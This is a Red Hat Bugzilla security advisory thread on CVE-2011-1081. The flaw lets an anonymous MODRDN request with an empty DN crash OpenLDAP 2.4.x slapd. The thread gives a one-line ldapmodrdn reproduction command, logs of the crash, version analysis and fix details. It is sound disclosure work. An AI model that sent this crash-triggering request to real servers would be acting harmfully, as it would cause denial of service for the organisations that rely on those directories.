Red Hat Bugzilla – Bug 680975
CVE-2011-1081 openldap: DoS when submitting special MODRDN request
Last modified: 2015-07-29 10:06:10 EDT
It was reported [1],[2] that OpenLDAP's slapd daemon would crash when it received a request to modify a DN and submits an empty old DN in the request. No binding is necessary, so even an anonymous user could cause slapd to crash. This was reported against OpenLDAP 2.4.23 and was fixed in 2.4.24 [3]. References: [1] http://www.openldap.org/its/index.cgi/Software%20Bugs?id=6768 [2] https://bugzilla.novell.com/show_bug.cgi?id=674985#c1 [3] http://www.openldap.org/devel/cvsweb.cgi/servers/slapd/modrdn.c.diff?r1=1.170.2.8&r2=1.170.2.9
I was able to reproduce this with openldap (2.4.19-15.el6) using: $ ldapmodrdn -x -H ldap://ldapserver -r '' o=test with the following results: Feb 28 08:50:30 dns slapd[1331]: conn=1389 fd=28 ACCEPT from IP=192.168.1.11:46650 (IP=0.0.0.0:389) Feb 28 08:50:30 dns slapd[1331]: conn=1389 op=0 BIND dn="" method=128 Feb 28 08:50:30 dns slapd[1331]: conn=1389 op=0 RESULT tag=97 err=0 text= Feb 28 08:50:30 dns slapd[1331]: conn=1389 op=1 MODRDN dn="" Feb 28 08:50:47 dns slapd[20575]: @(#) $OpenLDAP: slapd 2.4.19 (Jun 30 2010 03:58:53) $#012#011mockbuild@x86-008.build.bos.redhat.com:/builddir/build/BUILD/openldap-2.4.19/openldap-2.4.19/build-server s/servers/slapd Feb 28 08:50:47 dns slapd[20576]: bdb_db_open: database "dc=example,dc=ca": unclean shutdown detected; attempting recovery. Feb 28 08:50:47 dns slapd[20576]: slapd starting However, I cannot cause slapd (2.3.43=12.el5_5.3) to crash with the same command: % ldapmodrdn -x -H ldap://localhost -r '' o=test Rename Result: Server is unwilling to perform (53) Additional info: cannot rename the root DSE and the output from slapd: ... ldap_read: want=8, got=8 0000: 30 12 02 01 02 6c 0d 04 0....l.. ldap_read: want=12, got=12 0000: 00 04 06 6f 3d 74 65 73 74 01 01 ff ...o=test... ber_get_next: tag 0x30 len 18 contents: ber_dump: buf=0x9185160 ptr=0x9185160 end=0x9185172 len=18 0000: 02 01 02 6c 0d 04 00 04 06 6f 3d 74 65 73 74 01 ...l.....o=test. 0010: 01 ff .. ber_get_next ldap_read: want=8 error=Resource temporarily unavailable do_modrdn ber_scanf fmt ({mmb) ber: ber_dump: buf=0x9185160 ptr=0x9185163 end=0x9185172 len=15 0000: 6c 0d 04 00 04 06 6f 3d 74 65 73 74 01 01 ff l.....o=test... do_modrdn: dn () newrdn (o=test) newsuperior () ber_scanf fmt (}) ber: ber_dump: buf=0x9185160 ptr=0x9185172 end=0x9185172 len=0 >>> dnPrettyNormal: <> <<< dnPrettyNormal: <>, <> >>> dnPrettyNormal: <o=test> => ldap_bv2dn(o=test,0) <= ldap_bv2dn(o=test)=0 => ldap_dn2bv(272) <= ldap_dn2bv(o=test)=0 => ldap_dn2bv(272) <= ldap_dn2bv(o=test)=0 <<< dnPrettyNormal: <o=test>, <o=test> do_modrdn: root dse! send_ldap_result: conn=2 op=1 p=3 send_ldap_result: err=53 matched="" text="cannot rename the root DSE" send_ldap_response: msgid=2 tag=109 err=53 ber_flush: 40 bytes to sd 13 0000: 30 26 02 01 02 6d 21 0a 01 35 04 00 04 1a 63 61 0&...m!..5....ca 0010: 6e 6e 6f 74 20 72 65 6e 61 6d 65 20 74 68 65 20 nnot rename the 0020: 72 6f 6f 74 20 44 53 45 root DSE ldap_write: want=40, written=40 0000: 30 26 02 01 02 6d 21 0a 01 35 04 00 04 1a 63 61 0&...m!..5....ca 0010: 6e 6e 6f 74 20 72 65 6e 61 6d 65 20 74 68 65 20 nnot rename the 0020: 72 6f 6f 74 20 44 53 45 root DSE ... and there is no crash of the process. The code is quite different, but I see similarities, so I cannot tell whether or not a slightly changed ldapmodrdn command will cause a crash, or if this is specific to 2.4.x.
Verified that only OpenLDAP 2.4.x is affected. Fixed in 2.4.24. It seems that the code was reordered. The list of modifications is being built before the operation is passed to DB backend operation. While access to root DSE is checked from backend operation. (The upstream fix is strange, however it works. CVS comment "quick fix for null DN" is a good explanation.)
Fedora 16 not affected Fedora 15 affected, but 2.4.24 is waiting in updates-testing Fedora 14 affected Fedora 13 affected
As noted by Ralf Haferkamp from SUSE: "It seems you are right. Even though the bug slipped into CVS HEAD already in 2006 it never got merged into the 2.3 release branch. So only 2.4.x releases are affected by this. Sorry for causing confusion here" http://www.openwall.com/lists/oss-security/2011/03/01/11
This was assigned the name CVE-2011-1081.
This issue has been addressed in following products: Red Hat Enterprise Linux 6 Via RHSA-2011:0347 https://rhn.redhat.com/errata/RHSA-2011-0347.html